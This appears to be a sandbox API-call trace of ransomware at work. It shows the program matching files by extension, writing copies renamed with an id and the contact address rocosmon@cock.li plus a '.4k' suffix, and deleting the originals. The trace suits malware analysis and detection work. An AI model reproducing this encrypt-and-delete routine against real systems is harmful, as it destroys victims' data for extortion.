	[0103.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.019] lstrlenW (lpString=".jpg") returned 4
	[0103.019] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.019] lstrlenW (lpString=".doc") returned 4
	[0103.019] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.019] lstrlenW (lpString=".docx") returned 5
	[0103.019] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.019] lstrlenW (lpString=".pdf") returned 4
	[0103.019] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString=".xls") returned 4
	[0103.019] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.019] lstrlenW (lpString=".xlsx") returned 5
	[0103.019] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.019] lstrlenW (lpString=".ppt") returned 4
	[0103.020] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.020] lstrlenW (lpString=".zip") returned 4
	[0103.020] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.020] lstrlenW (lpString=".rar") returned 4
	[0103.020] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.020] lstrlenW (lpString=".bz2") returned 4
	[0103.020] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.020] lstrlenW (lpString=".7z") returned 3
	[0103.020] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.020] lstrlenW (lpString=".dbf") returned 4
	[0103.020] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.020] lstrlenW (lpString=".1cd") returned 4
	[0103.020] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76
	[0103.020] lstrlenW (lpString=".jpg") returned 4
	[0103.020] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.020] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0103.020] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0103.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0103.021] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3957) returned 1
	[0103.021] CloseHandle (hObject=0x1ac) returned 1
	[0103.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20
	[0103.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0103.021] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.021] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0103.023] GetLastError () returned 0x0
	[0103.023] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xf75, lpOverlapped=0x0) returned 1
	[0103.212] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf80, lpOverlapped=0x0) returned 1
	[0103.214] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0103.214] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0103.214] SetEndOfFile (hFile=0x1f8) returned 1
	[0103.214] CloseHandle (hObject=0x1f8) returned 1
	[0103.214] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.214] SetEndOfFile (hFile=0x1ac) returned 1
	[0103.215] CloseHandle (hObject=0x1ac) returned 1
	[0103.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0103.215] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1
	[0103.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.216] lstrlenW (lpString=".doc") returned 4
	[0103.216] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.216] lstrlenW (lpString=".docx") returned 5
	[0103.216] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.216] lstrlenW (lpString=".pdf") returned 4
	[0103.216] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.216] lstrlenW (lpString=".xls") returned 4
	[0103.216] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.216] lstrlenW (lpString=".xlsx") returned 5
	[0103.216] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.216] lstrlenW (lpString=".ppt") returned 4
	[0103.216] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.216] lstrlenW (lpString=".zip") returned 4
	[0103.216] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.216] lstrlenW (lpString=".rar") returned 4
	[0103.217] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.217] lstrlenW (lpString=".bz2") returned 4
	[0103.217] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.217] lstrlenW (lpString=".7z") returned 3
	[0103.217] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.217] lstrlenW (lpString=".dbf") returned 4
	[0103.217] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.217] lstrlenW (lpString=".1cd") returned 4
	[0103.217] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.217] lstrlenW (lpString=".jpg") returned 4
	[0103.217] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.217] lstrlenW (lpString=".doc") returned 4
	[0103.217] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.217] lstrlenW (lpString=".docx") returned 5
	[0103.217] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.217] lstrlenW (lpString=".pdf") returned 4
	[0103.217] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.217] lstrlenW (lpString=".xls") returned 4
	[0103.217] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.217] lstrlenW (lpString=".xlsx") returned 5
	[0103.217] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.217] lstrlenW (lpString=".ppt") returned 4
	[0103.217] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.217] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.218] lstrlenW (lpString=".zip") returned 4
	[0103.218] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.218] lstrlenW (lpString=".rar") returned 4
	[0103.218] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.218] lstrlenW (lpString=".bz2") returned 4
	[0103.218] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.218] lstrlenW (lpString=".7z") returned 3
	[0103.218] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.218] lstrlenW (lpString=".dbf") returned 4
	[0103.218] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.218] lstrlenW (lpString=".1cd") returned 4
	[0103.218] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76
	[0103.218] lstrlenW (lpString=".jpg") returned 4
	[0103.218] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.218] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0103.218] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0103.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0103.219] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1453) returned 1
	[0103.219] CloseHandle (hObject=0x1ac) returned 1
	[0103.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20
	[0103.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0103.219] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.219] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0103.221] GetLastError () returned 0x0
	[0103.221] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5ad, lpOverlapped=0x0) returned 1
	[0103.265] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0103.266] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0103.266] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0103.266] SetEndOfFile (hFile=0x1f8) returned 1
	[0103.266] CloseHandle (hObject=0x1f8) returned 1
	[0103.266] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.266] SetEndOfFile (hFile=0x1ac) returned 1
	[0103.267] CloseHandle (hObject=0x1ac) returned 1
	[0103.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0103.268] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1
	[0103.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.268] lstrlenW (lpString=".doc") returned 4
	[0103.268] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.268] lstrlenW (lpString=".docx") returned 5
	[0103.268] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.268] lstrlenW (lpString=".pdf") returned 4
	[0103.268] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.268] lstrlenW (lpString=".xls") returned 4
	[0103.268] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.268] lstrlenW (lpString=".xlsx") returned 5
	[0103.268] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.268] lstrlenW (lpString=".ppt") returned 4
	[0103.268] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.268] lstrlenW (lpString=".zip") returned 4
	[0103.268] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.268] lstrlenW (lpString=".rar") returned 4
	[0103.268] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.268] lstrlenW (lpString=".bz2") returned 4
	[0103.268] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.269] lstrlenW (lpString=".7z") returned 3
	[0103.269] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.269] lstrlenW (lpString=".dbf") returned 4
	[0103.269] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.269] lstrlenW (lpString=".1cd") returned 4
	[0103.269] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.269] lstrlenW (lpString=".jpg") returned 4
	[0103.269] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.269] lstrlenW (lpString=".doc") returned 4
	[0103.269] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0103.269] lstrlenW (lpString=".docx") returned 5
	[0103.269] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0103.269] lstrlenW (lpString=".pdf") returned 4
	[0103.269] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0103.269] lstrlenW (lpString=".xls") returned 4
	[0103.269] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0103.269] lstrlenW (lpString=".xlsx") returned 5
	[0103.269] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0103.269] lstrlenW (lpString=".ppt") returned 4
	[0103.269] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0103.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.269] lstrlenW (lpString=".zip") returned 4
	[0103.269] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0103.270] lstrlenW (lpString=".rar") returned 4
	[0103.270] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0103.270] lstrlenW (lpString=".bz2") returned 4
	[0103.270] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0103.270] lstrlenW (lpString=".7z") returned 3
	[0103.270] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0103.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.270] lstrlenW (lpString=".dbf") returned 4
	[0103.270] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0103.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.270] lstrlenW (lpString=".1cd") returned 4
	[0103.270] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0103.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72
	[0103.270] lstrlenW (lpString=".jpg") returned 4
	[0103.270] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0103.270] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0103.270] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0103.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0103.272] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=25106) returned 1
	[0103.273] CloseHandle (hObject=0x1ac) returned 1
	[0103.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20
	[0103.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0103.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0103.273] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.273] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0103.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0103.273] GetLastError () returned 0x0
	[0103.273] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x6212, lpOverlapped=0x0) returned 1
	[0104.678] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6220, lpOverlapped=0x0) returned 1
	[0104.821] ReadFile (in: hFile=0x1ac, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0104.821] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0104.821] SetEndOfFile (hFile=0x1f8) returned 1
	[0104.821] CloseHandle (hObject=0x1f8) returned 1
	[0104.821] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.821] SetEndOfFile (hFile=0x1ac) returned 1
	[0104.822] CloseHandle (hObject=0x1ac) returned 1
	[0104.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0104.822] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1
	[0104.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.823] lstrlenW (lpString=".doc") returned 4
	[0104.823] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0104.823] lstrlenW (lpString=".docx") returned 5
	[0104.823] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0104.823] lstrlenW (lpString=".pdf") returned 4
	[0104.823] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0104.823] lstrlenW (lpString=".xls") returned 4
	[0104.823] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0104.823] lstrlenW (lpString=".xlsx") returned 5
	[0104.823] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0104.824] lstrlenW (lpString=".ppt") returned 4
	[0104.824] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0104.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.838] lstrlenW (lpString=".zip") returned 4
	[0104.838] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0104.838] lstrlenW (lpString=".rar") returned 4
	[0104.838] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0104.838] lstrlenW (lpString=".bz2") returned 4
	[0104.838] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
